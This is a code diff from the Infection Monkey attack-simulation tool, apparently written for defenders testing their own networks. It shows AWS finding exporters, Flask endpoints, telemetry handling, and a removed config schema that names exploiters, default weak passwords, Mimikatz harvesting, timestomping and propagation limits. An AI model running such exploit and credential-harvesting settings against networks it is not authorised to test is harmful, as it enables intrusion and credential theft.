def _handle_wmi_password_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.",
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format(
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_wmi_pth_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']),
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format(
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_rdp_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']),
recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format(
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_shared_passwords_domain_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=1,
title="Multiple users have the same password.",
description="Some domain users are sharing passwords, this should be fixed by changing passwords.",
recommendation="These users are sharing access password: {shared_with}.".format(
shared_with=issue['shared_with']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_shared_admins_domain_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=1,
title="Shared local administrator account - Different machines have the same account as a local administrator.",
description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.",
recommendation="Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format(
username=issue['username'], shared_machines=issue['shared_machines']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_strong_users_on_crit_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=1,
title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.",
description="This critical machine is open to attacks via strong users with access to it.",
recommendation="The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format(
services=issue['services'], threatening_users=issue['threatening_users']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_struts2_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=10,
title="Struts2 servers are vulnerable to remote code execution.",
description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.",
recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
" The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format(
machine=issue['machine'], ip_address=issue['ip_address']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_weblogic_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=10,
title="Oracle WebLogic servers are vulnerable to remote code execution.",
description="Install Oracle critical patch updates. Or update to the latest version. " \
"Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.",
recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
" The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format(
machine=issue['machine'], ip_address=issue['ip_address']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_hadoop_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=10,
title="Hadoop/Yarn servers are vulnerable to remote code execution.",
description="Run Hadoop in secure mode, add Kerberos authentication.",
recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
"The attack was made possible due to default Hadoop/Yarn configuration being insecure.",
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)

View File

@ -0,0 +1,7 @@
class Exporter(object):
def __init__(self):
pass
@staticmethod
def handle_report(report_json):
raise NotImplementedError

View File

@ -0,0 +1,24 @@
import json
import flask_restful
from flask import request, jsonify, abort
from cc.auth import jwt_required
from cc.services.config import ConfigService
class IslandConfiguration(flask_restful.Resource):
@jwt_required()
def get(self):
return jsonify(schema=ConfigService.get_config_schema(),
configuration=ConfigService.get_config(False, True, True))
@jwt_required()
def post(self):
config_json = json.loads(request.data)
if 'reset' in config_json:
ConfigService.reset_config()
else:
if not ConfigService.update_config(config_json, should_encrypt=True):
abort(400)
return self.get()

View File

@ -0,0 +1,14 @@
import flask_restful
from flask import send_from_directory
from cc.resources.pba_file_upload import GET_FILE_DIR
__author__ = 'VakarisZ'
class PBAFileDownload(flask_restful.Resource):
"""
File download endpoint used by monkey to download user's PBA file
"""
# Used by monkey. can't secure.
def get(self, path):
return send_from_directory(GET_FILE_DIR, path)

View File

@ -0,0 +1,83 @@
import flask_restful
from flask import request, send_from_directory, Response
from cc.services.config import ConfigService
from cc.services.post_breach_files import PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR
from cc.auth import jwt_required
import os
from werkzeug.utils import secure_filename
import logging
import copy
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
GET_FILE_DIR = "./userUploads"
# Front end uses these strings to identify which files to work with (linux of windows)
LINUX_PBA_TYPE = 'PBAlinux'
WINDOWS_PBA_TYPE = 'PBAwindows'
class FileUpload(flask_restful.Resource):
"""
File upload endpoint used to exchange files with filepond component on the front-end
"""
@jwt_required()
def get(self, file_type):
"""
Sends file to filepond
:param file_type: Type indicates which file to send, linux or windows
:return: Returns file contents
"""
# Verify that file_name is indeed a file from config
if file_type == LINUX_PBA_TYPE:
filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH))
else:
filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH))
return send_from_directory(GET_FILE_DIR, filename)
@jwt_required()
def post(self, file_type):
"""
Receives user's uploaded file from filepond
:param file_type: Type indicates which file was received, linux or windows
:return: Returns flask response object with uploaded file's filename
"""
filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE))
response = Response(
response=filename,
status=200, mimetype='text/plain')
return response
@jwt_required()
def delete(self, file_type):
"""
Deletes file that has been deleted on the front end
:param file_type: Type indicates which file was deleted, linux of windows
:return: Empty response
"""
filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH
filename = ConfigService.get_config_value(filename_path)
file_path = os.path.join(UPLOADS_DIR, filename)
try:
if os.path.exists(file_path):
os.remove(file_path)
ConfigService.set_config_value(filename_path, '')
except OSError as e:
LOG.error("Can't remove previously uploaded post breach files: %s" % e)
return {}
@staticmethod
def upload_pba_file(request_, is_linux=True):
"""
Uploads PBA file to island's file system
:param request_: Request object containing PBA file
:param is_linux: Boolean indicating if this file is for windows or for linux
:return: filename string
"""
filename = secure_filename(request_.files['filepond'].filename)
file_path = os.path.join(UPLOADS_DIR, filename)
request_.files['filepond'].save(file_path)
ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename)
return filename

View File

@ -0,0 +1,48 @@
import json
from flask import request, jsonify, make_response
import flask_restful
from cc.auth import jwt_required
from cc.services.remote_run_aws import RemoteRunAwsService
from common.cloud.aws_service import AwsService
class RemoteRun(flask_restful.Resource):
def __init__(self):
super(RemoteRun, self).__init__()
RemoteRunAwsService.init()
def run_aws_monkeys(self, request_body):
instances = request_body.get('instances')
island_ip = request_body.get('island_ip')
return RemoteRunAwsService.run_aws_monkeys(instances, island_ip)
@jwt_required()
def get(self):
action = request.args.get('action')
if action == 'list_aws':
is_aws = RemoteRunAwsService.is_running_on_aws()
resp = {'is_aws': is_aws}
if is_aws:
is_auth = RemoteRunAwsService.update_aws_auth_params()
resp['auth'] = is_auth
if is_auth:
resp['instances'] = AwsService.get_instances()
return jsonify(resp)
return {}
@jwt_required()
def post(self):
body = json.loads(request.data)
resp = {}
if body.get('type') == 'aws':
is_auth = RemoteRunAwsService.update_aws_auth_params()
resp['auth'] = is_auth
if is_auth:
result = self.run_aws_monkeys(body)
resp['result'] = result
return jsonify(resp)
# default action
return make_response({'error': 'Invalid action'}, 500)

View File

@ -10,6 +10,7 @@ from cc.services.config import ConfigService
from cc.services.node import NodeService
from cc.services.report import ReportService
from cc.utils import local_ip_addresses
from cc.services.post_breach_files import remove_PBA_files
__author__ = 'Barak'
@ -42,6 +43,7 @@ class Root(flask_restful.Resource):
@staticmethod
@jwt_required()
def reset_db():
remove_PBA_files()
# We can't drop system collections.
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
ConfigService.init_config()
@ -65,5 +67,7 @@ class Root(flask_restful.Resource):
if not infection_done:
report_done = False
else:
if is_any_exists:
ReportService.get_report()
report_done = ReportService.is_report_generated()
return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done)

View File

@ -90,10 +90,11 @@ class Telemetry(flask_restful.Resource):
@staticmethod
def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
dst_ip = telemetry_json['data']['machine']['ip_addr']
dst_domain_name = telemetry_json['data']['machine']['domain_name']
src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
dst_node = NodeService.get_monkey_by_ip(dst_ip)
if dst_node is None:
dst_node = NodeService.get_or_create_node(dst_ip)
dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name)
return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
@ -144,30 +145,29 @@ class Telemetry(flask_restful.Resource):
edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
data = copy.deepcopy(telemetry_json['data']['machine'])
ip_address = data.pop("ip_addr")
domain_name = data.pop("domain_name")
new_scan = \
{
"timestamp": telemetry_json["timestamp"],
"data": data,
"scanner": telemetry_json['data']['scanner']
"data": data
}
mongo.db.edge.update(
{"_id": edge["_id"]},
{"$push": {"scans": new_scan},
"$set": {"ip_address": ip_address}}
"$set": {"ip_address": ip_address, 'domain_name': domain_name}}
)
node = mongo.db.node.find_one({"_id": edge["to"]})
if node is not None:
if new_scan["scanner"] == "TcpScanner":
scan_os = new_scan["data"]["os"]
if "type" in scan_os:
mongo.db.node.update({"_id": node["_id"]},
{"$set": {"os.type": scan_os["type"]}},
upsert=False)
if "version" in scan_os:
mongo.db.node.update({"_id": node["_id"]},
{"$set": {"os.version": scan_os["version"]}},
upsert=False)
scan_os = new_scan["data"]["os"]
if "type" in scan_os:
mongo.db.node.update({"_id": node["_id"]},
{"$set": {"os.type": scan_os["type"]}},
upsert=False)
if "version" in scan_os:
mongo.db.node.update({"_id": node["_id"]},
{"$set": {"os.version": scan_os["version"]}},
upsert=False)
@staticmethod
def process_system_info_telemetry(telemetry_json):
@ -191,6 +191,10 @@ class Telemetry(flask_restful.Resource):
if 'wmi' in telemetry_json['data']:
wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
wmi_handler.process_and_handle_wmi_info()
if 'aws' in telemetry_json['data']:
if 'instance_id' in telemetry_json['data']['aws']:
mongo.db.monkey.update_one({'_id': monkey_id},
{'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}})
@staticmethod
def add_ip_to_ssh_keys(ip, ssh_info):
@ -253,6 +257,11 @@ class Telemetry(flask_restful.Resource):
if len(credential) > 0:
attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
@staticmethod
def process_post_breach_telemetry(telemetry_json):
mongo.db.monkey.update(
{'guid': telemetry_json['monkey_guid']},
{'$push': {'pba_results': telemetry_json['data']}})
TELEM_PROCESS_DICT = \
{
@ -261,5 +270,6 @@ TELEM_PROCESS_DICT = \
'exploit': Telemetry.process_exploit_telemetry,
'scan': Telemetry.process_scan_telemetry,
'system_info_collection': Telemetry.process_system_info_telemetry,
'trace': Telemetry.process_trace_telemetry
'trace': Telemetry.process_trace_telemetry,
'post_breach': Telemetry.process_post_breach_telemetry
}

View File

@ -31,11 +31,13 @@ class TelemetryFeed(flask_restful.Resource):
@staticmethod
def get_displayed_telemetry(telem):
monkey = NodeService.get_monkey_by_guid(telem['monkey_guid'])
default_hostname = "GUID-" + telem['monkey_guid']
return \
{
'id': telem['_id'],
'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'),
'hostname': NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'],
'hostname': monkey.get('hostname', default_hostname) if monkey else default_hostname,
'brief': TELEM_PROCESS_DICT[telem['telem_type']](telem)
}
@ -52,7 +54,7 @@ class TelemetryFeed(flask_restful.Resource):
@staticmethod
def get_state_telem_brief(telem):
if telem['data']['done']:
return 'Monkey died.'
return '''Monkey finishing it's execution.'''
else:
return 'Monkey started.'
@ -78,6 +80,12 @@ class TelemetryFeed(flask_restful.Resource):
def get_trace_telem_brief(telem):
return 'Monkey reached max depth.'
@staticmethod
def get_post_breach_telem_brief(telem):
return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'],
telem['data']['hostname'],
telem['data']['ip'])
TELEM_PROCESS_DICT = \
{
@ -86,5 +94,6 @@ TELEM_PROCESS_DICT = \
'exploit': TelemetryFeed.get_exploit_telem_brief,
'scan': TelemetryFeed.get_scan_telem_brief,
'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief,
'trace': TelemetryFeed.get_trace_telem_brief
'trace': TelemetryFeed.get_trace_telem_brief,
'post_breach': TelemetryFeed.get_post_breach_telem_brief
}

View File

@ -0,0 +1 @@
__author__ = 'VakarisZ'

View File

@ -0,0 +1,19 @@
"""
File that contains ATT&CK telemetry storing/retrieving logic
"""
import logging
from cc.database import mongo
__author__ = "VakarisZ"
logger = logging.getLogger(__name__)
def set_results(technique, data):
"""
Adds ATT&CK technique results(telemetry) to the database
:param technique: technique ID string e.g. T1110
:param data: Data, relevant to the technique
"""
data.update({'technique': technique})
mongo.db.attack_results.insert(data)

View File

@ -4,870 +4,18 @@ import functools
import logging
from jsonschema import Draft4Validator, validators
from six import string_types
import cc.services.post_breach_files
from cc.database import mongo
from cc.encryptor import encryptor
from cc.environment.environment import env
from cc.utils import local_ip_addresses
from config_schema import SCHEMA
__author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
WARNING_SIGN = u" \u26A0"
SCHEMA = {
"title": "Monkey",
"type": "object",
"definitions": {
"exploiter_classes": {
"title": "Exploit class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SmbExploiter"
],
"title": "SMB Exploiter"
},
{
"type": "string",
"enum": [
"WmiExploiter"
],
"title": "WMI Exploiter"
},
{
"type": "string",
"enum": [
"RdpExploiter"
],
"title": "RDP Exploiter (UNSAFE)"
},
{
"type": "string",
"enum": [
"Ms08_067_Exploiter"
],
"title": "MS08-067 Exploiter (UNSAFE)"
},
{
"type": "string",
"enum": [
"SSHExploiter"
],
"title": "SSH Exploiter"
},
{
"type": "string",
"enum": [
"ShellShockExploiter"
],
"title": "ShellShock Exploiter"
},
{
"type": "string",
"enum": [
"SambaCryExploiter"
],
"title": "SambaCry Exploiter"
},
{
"type": "string",
"enum": [
"ElasticGroovyExploiter"
],
"title": "ElasticGroovy Exploiter"
},
{
"type": "string",
"enum": [
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
},
{
"type": "string",
"enum": [
"WebLogicExploiter"
],
"title": "Oracle Web Logic Exploiter"
},
{
"type": "string",
"enum": [
"HadoopExploiter"
],
"title": "Hadoop/Yarn Exploiter"
}
]
},
"finger_classes": {
"title": "Fingerprint class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SMBFinger"
],
"title": "SMBFinger"
},
{
"type": "string",
"enum": [
"SSHFinger"
],
"title": "SSHFinger"
},
{
"type": "string",
"enum": [
"PingScanner"
],
"title": "PingScanner"
},
{
"type": "string",
"enum": [
"HTTPFinger"
],
"title": "HTTPFinger"
},
{
"type": "string",
"enum": [
"MySQLFinger"
],
"title": "MySQLFinger"
},
{
"type": "string",
"enum": [
"MSSQLFinger"
],
"title": "MSSQLFinger"
},
{
"type": "string",
"enum": [
"ElasticFinger"
],
"title": "ElasticFinger"
}
]
}
},
"properties": {
"basic": {
"title": "Basic - Credentials",
"type": "object",
"properties": {
"credentials": {
"title": "Credentials",
"type": "object",
"properties": {
"exploit_user_list": {
"title": "Exploit user list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Administrator",
"root",
"user"
],
"description": "List of usernames to use on exploits using credentials"
},
"exploit_password_list": {
"title": "Exploit password list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Password1!",
"1234",
"password",
"12345678"
],
"description": "List of password to use on exploits using credentials"
}
}
}
}
},
"basic_network": {
"title": "Basic - Network",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"blocked_ips": {
"title": "Blocked IPs",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description": "List of IPs to not scan"
},
"local_network_scan": {
"title": "Local network scan",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey should scan its subnets additionally"
},
"depth": {
"title": "Distance from island",
"type": "integer",
"default": 2,
"description":
"Amount of hops allowed for the monkey to spread from the island. "
+ WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating too far"
},
"subnet_scan_list": {
"title": "Scan IP/subnet list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description":
"List of IPs/subnets the monkey should scan."
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
}
}
},
"network_analysis": {
"title": "Network Analysis",
"type": "object",
"properties": {
"inaccessible_subnets": {
"title": "Network segmentation testing",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description":
"Test for network segmentation by providing a list of"
" subnets that should NOT be accessible to each other."
" For example, given the following configuration:"
" '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'"
" a Monkey running on 10.0.0.5 will try to access machines in the following"
" subnets: 11.0.0.2/32, 12.2.3.0/24."
" An alert on successful connections will be shown in the report"
" Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5"
}
}
}
}
},
"monkey": {
"title": "Monkey",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"alive": {
"title": "Alive",
"type": "boolean",
"default": True,
"description": "Is the monkey alive"
}
}
},
"behaviour": {
"title": "Behaviour",
"type": "object",
"properties": {
"self_delete_in_cleanup": {
"title": "Self delete on cleanup",
"type": "boolean",
"default": False,
"description": "Should the monkey delete its executable when going down"
},
"use_file_logging": {
"title": "Use file logging",
"type": "boolean",
"default": True,
"description": "Should the monkey dump to a log file"
},
"serialize_config": {
"title": "Serialize config",
"type": "boolean",
"default": False,
"description": "Should the monkey dump its config on startup"
}
}
},
"system_info": {
"title": "System info",
"type": "object",
"properties": {
"extract_azure_creds": {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
},
"collect_system_info": {
"title": "Collect system info",
"type": "boolean",
"default": True,
"description": "Determines whether to collect system info"
},
"should_use_mimikatz": {
"title": "Should use Mimikatz",
"type": "boolean",
"default": True,
"description": "Determines whether to use Mimikatz"
},
}
},
"life_cycle": {
"title": "Life cycle",
"type": "object",
"properties": {
"max_iterations": {
"title": "Max iterations",
"type": "integer",
"default": 1,
"description": "Determines how many iterations of the monkey's full lifecycle should occur"
},
"victims_max_find": {
"title": "Max victims to find",
"type": "integer",
"default": 30,
"description": "Determines the maximum number of machines the monkey is allowed to scan"
},
"victims_max_exploit": {
"title": "Max victims to exploit",
"type": "integer",
"default": 7,
"description":
"Determines the maximum number of machines the monkey"
" is allowed to successfully exploit. " + WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating to "
"a high number of machines"
},
"timeout_between_iterations": {
"title": "Wait time between iterations",
"type": "integer",
"default": 100,
"description":
"Determines for how long (in seconds) should the monkey wait between iterations"
},
"retry_failed_explotation": {
"title": "Retry failed exploitation",
"type": "boolean",
"default": True,
"description":
"Determines whether the monkey should retry exploiting machines"
" it didn't successfuly exploit on previous iterations"
}
}
}
}
},
"internal": {
"title": "Internal",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"singleton_mutex_name": {
"title": "Singleton mutex name",
"type": "string",
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"description":
"The name of the mutex used to determine whether the monkey is already running"
},
"keep_tunnel_open_time": {
"title": "Keep tunnel open time",
"type": "integer",
"default": 60,
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
}
}
},
"classes": {
"title": "Classes",
"type": "object",
"properties": {
"scanner_class": {
"title": "Scanner class",
"type": "string",
"default": "TcpScanner",
"enum": [
"TcpScanner"
],
"enumNames": [
"TcpScanner"
],
"description": "Determines class to scan for machines. (Shouldn't be changed)"
},
"finger_classes": {
"title": "Fingerprint classes",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/finger_classes"
},
"default": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
],
"description": "Determines which classes to use for fingerprinting"
}
}
},
"kill_file": {
"title": "Kill file",
"type": "object",
"properties": {
"kill_file_path_windows": {
"title": "Kill file path on Windows",
"type": "string",
"default": "%windir%\\monkey.not",
"description": "Path of file which kills monkey if it exists (on Windows)"
},
"kill_file_path_linux": {
"title": "Kill file path on Linux",
"type": "string",
"default": "/var/run/monkey.not",
"description": "Path of file which kills monkey if it exists (on Linux)"
}
}
},
"dropper": {
"title": "Dropper",
"type": "object",
"properties": {
"dropper_set_date": {
"title": "Dropper sets date",
"type": "boolean",
"default": True,
"description":
"Determines whether the dropper should set the monkey's file date to be the same as"
" another file"
},
"dropper_date_reference_path_windows": {
"title": "Dropper date reference path (Windows)",
"type": "string",
"default": "%windir%\\system32\\kernel32.dll",
"description":
"Determines which file the dropper should copy the date from if it's configured to do"
" so on Windows (use fullpath)"
},
"dropper_date_reference_path_linux": {
"title": "Dropper date reference path (Linux)",
"type": "string",
"default": "/bin/sh",
"description":
"Determines which file the dropper should copy the date from if it's configured to do"
" so on Linux (use fullpath)"
},
"dropper_target_path_linux": {
"title": "Dropper target path on Linux",
"type": "string",
"default": "/tmp/monkey",
"description": "Determines where should the dropper place the monkey on a Linux machine"
},
"dropper_target_path_win_32": {
"title": "Dropper target path on Windows (32bit)",
"type": "string",
"default": "C:\\Windows\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)"
},
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",
"default": "C:\\Windows\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)"
},
"dropper_try_move_first": {
"title": "Try to move first",
"type": "boolean",
"default": True,
"description":
"Determines whether the dropper should try to move itsel instead of copying itself"
" to target path"
}
}
},
"logging": {
"title": "Logging",
"type": "object",
"properties": {
"dropper_log_path_linux": {
"title": "Dropper log file path on Linux",
"type": "string",
"default": "/tmp/user-1562",
"description": "The fullpath of the dropper log file on Linux"
},
"dropper_log_path_windows": {
"title": "Dropper log file path on Windows",
"type": "string",
"default": "%temp%\\~df1562.tmp",
"description": "The fullpath of the dropper log file on Windows"
},
"monkey_log_path_linux": {
"title": "Monkey log file path on Linux",
"type": "string",
"default": "/tmp/user-1563",
"description": "The fullpath of the monkey log file on Linux"
},
"monkey_log_path_windows": {
"title": "Monkey log file path on Windows",
"type": "string",
"default": "%temp%\\~df1563.tmp",
"description": "The fullpath of the monkey log file on Windows"
},
"send_log_to_server": {
"title": "Send log to server",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey sends its log to the Monkey Island server"
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"exploit_lm_hash_list": {
"title": "Exploit LM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of LM hashes to use on exploits using credentials"
},
"exploit_ntlm_hash_list": {
"title": "Exploit NTLM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of NTLM hashes to use on exploits using credentials"
},
"exploit_ssh_keys": {
"title": "SSH key pairs list",
"type": "array",
"uniqueItems": True,
"default": [],
"items": {
"type": "string"
},
"description": "List of SSH key pairs to use, when trying to ssh into servers"
}
}
}
}
},
"cnc": {
"title": "Monkey Island",
"type": "object",
"properties": {
"servers": {
"title": "Servers",
"type": "object",
"properties": {
"command_servers": {
"title": "Command servers",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"192.0.2.0:5000"
],
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
},
"internet_services": {
"title": "Internet services",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"monkey.guardicore.com",
"www.google.com"
],
"description":
"List of internet services to try and communicate with to determine internet"
" connectivity (use either ip or domain)"
},
"current_server": {
"title": "Current server",
"type": "string",
"default": "192.0.2.0:5000",
"description": "The current command server the monkey is communicating with"
}
}
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"exploiter_classes": {
"title": "Exploits",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/exploiter_classes"
},
"default": [
"SmbExploiter",
"WmiExploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN
+ " Note that using unsafe exploits may cause crashes of the exploited machine/service"
},
"skip_exploit_if_file_exist": {
"title": "Skip exploit if file exists",
"type": "boolean",
"default": False,
"description": "Determines whether the monkey should skip the exploit if the monkey's file"
" is already on the remote machine"
}
}
},
"ms08_067": {
"title": "MS08_067",
"type": "object",
"properties": {
"ms08_067_exploit_attempts": {
"title": "MS08_067 exploit attempts",
"type": "integer",
"default": 5,
"description": "Number of attempts to exploit using MS08_067"
},
"ms08_067_remote_user_add": {
"title": "MS08_067 remote user",
"type": "string",
"default": "Monkey_IUSER_SUPPORT",
"description": "Username to add on successful exploit"
},
"ms08_067_remote_user_pass": {
"title": "MS08_067 remote user password",
"type": "string",
"default": "Password1!",
"description": "Password to use for created user"
}
}
},
"rdp_grinder": {
"title": "RDP grinder",
"type": "object",
"properties": {
"rdp_use_vbs_download": {
"title": "Use VBS download",
"type": "boolean",
"default": True,
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
" (true=VBS, false=BITS)"
}
}
},
"sambacry": {
"title": "SambaCry",
"type": "object",
"properties": {
"sambacry_trigger_timeout": {
"title": "SambaCry trigger timeout",
"type": "integer",
"default": 5,
"description": "Timeout (in seconds) of SambaCry trigger"
},
"sambacry_folder_paths_to_guess": {
"title": "SambaCry folder paths to guess",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
'/',
'/mnt',
'/tmp',
'/storage',
'/export',
'/share',
'/shares',
'/home'
],
"description": "List of full paths to share folder for SambaCry to guess"
},
"sambacry_shares_not_to_check": {
"title": "SambaCry shares not to check",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"IPC$", "print$"
],
"description": "These shares won't be checked when exploiting with SambaCry"
}
}
},
"smb_service": {
"title": "SMB service",
"type": "object",
"properties": {
"smb_download_timeout": {
"title": "SMB download timeout",
"type": "integer",
"default": 300,
"description":
"Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
},
"smb_service_name": {
"title": "SMB service name",
"type": "string",
"default": "InfectionMonkey",
"description": "Name of the SMB service that will be set up to download monkey"
}
}
}
}
},
"network": {
"title": "Network",
"type": "object",
"properties": {
"tcp_scanner": {
"title": "TCP scanner",
"type": "object",
"properties": {
"HTTP_PORTS": {
"title": "HTTP ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
80,
8080,
443,
8008,
7001
],
"description": "List of ports the monkey will check if are being used for HTTP"
},
"tcp_target_ports": {
"title": "TCP target ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
],
"description": "List of TCP ports the monkey will check whether they're open"
},
"tcp_scan_interval": {
"title": "TCP scan interval",
"type": "integer",
"default": 200,
"description": "Time to sleep (in milliseconds) between scans"
},
"tcp_scan_timeout": {
"title": "TCP scan timeout",
"type": "integer",
"default": 3000,
"description": "Maximum time (in milliseconds) to wait for TCP response"
},
"tcp_scan_get_banner": {
"title": "TCP scan - get banner",
"type": "boolean",
"default": True,
"description": "Determines whether the TCP scan should try to get the banner"
}
}
},
"ping_scanner": {
"title": "Ping scanner",
"type": "object",
"properties": {
"ping_scan_timeout": {
"title": "Ping scan timeout",
"type": "integer",
"default": 1000,
